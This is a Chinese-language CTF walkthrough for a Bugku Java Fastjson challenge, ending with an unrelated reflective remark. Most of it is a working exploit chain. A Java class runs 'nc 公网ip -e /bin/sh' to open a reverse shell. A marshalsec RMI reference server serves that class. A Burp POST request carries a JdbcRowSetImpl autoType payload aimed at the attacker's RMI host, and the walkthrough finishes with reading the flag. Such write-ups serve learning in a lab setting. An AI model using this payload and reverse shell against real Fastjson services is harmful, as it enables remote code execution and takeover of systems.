简介
以bugku的一道题为例:
ctf.bugku Java Fastjson
漏洞验证
使用python脚本测试一下漏洞存在。
环境搭建
这里我使用RMI服务进行漏洞利用,所以先搭建Java rmi服务,因为不是在本地测试,这里是在公网服务器上搭建的。
下载一个marshalsec
git clone https://github.com/mbechler/marshalsec
新建一个用于执行命令的java类文件
vi fastjson.java
import java.lang.Runtime; import java.lang.Process;
public class fastjson { ? ? ? ? static { ? ? ? ? ? ? ? ? try { ? ? ? ? ? ? ? ? ? ? ? ? Runtime test = Runtime.getRuntime(); ? ? ? ? ? ? ? ? ? ? ? ? String commands = "nc 公网ip -e /bin/sh"; ? ? ? ? ? ? ? ? ? ? ? ? Process commmand = test.exec(commands); ? ? ? ? ? ? ? ? ? ? ? ? commmand.waitFor(); ? ? ? ? ? ? ? ? } catch (Exception e) { ? ? ? ? ? ? ? ? ? ? ? ? System.out.println("error!"); ? ? ? ? ? ? ? ? } ? ? ? ? } }
编译fastjson.java文件,会在当前目录下生成一个fastjson.class文件
javac fastjson.java
使用python开启一个临时的http服务
python3 -m http.server
开启RMI服务,并且监听一个端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:1000/#fastjson 4444
使用nc监听刚才恶意java类文件中的端口
nc -lvvp 2223
漏洞利用
对登录框进行登录数据包抓取
查看一下网页源代码
利用burp构造恶意post请求
POST /login HTTP/1.1 Host: 114.67.175.224:17752 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 213 Origin: http://114.67.175.224:17752 DNT: 1 Connection: close Referer: http://114.67.175.224:17752/ Cookie: PHPSESSID=uvgca1b5t9j5fekvi8c5ea3o65
{"user":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" },"password":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi:/ip:4444/fastjson", "autoCommit":true }}
重放后返回空白
这时候公网服务器上已经接收到了shell会话
cat flag
结语
长大以后我们都喜欢说"小孩子才做选择",但现实是只有小孩子才有照单全收的资格,而我们不得不让理性压抑情感,才能做出一些从长远来看正确的决定。
|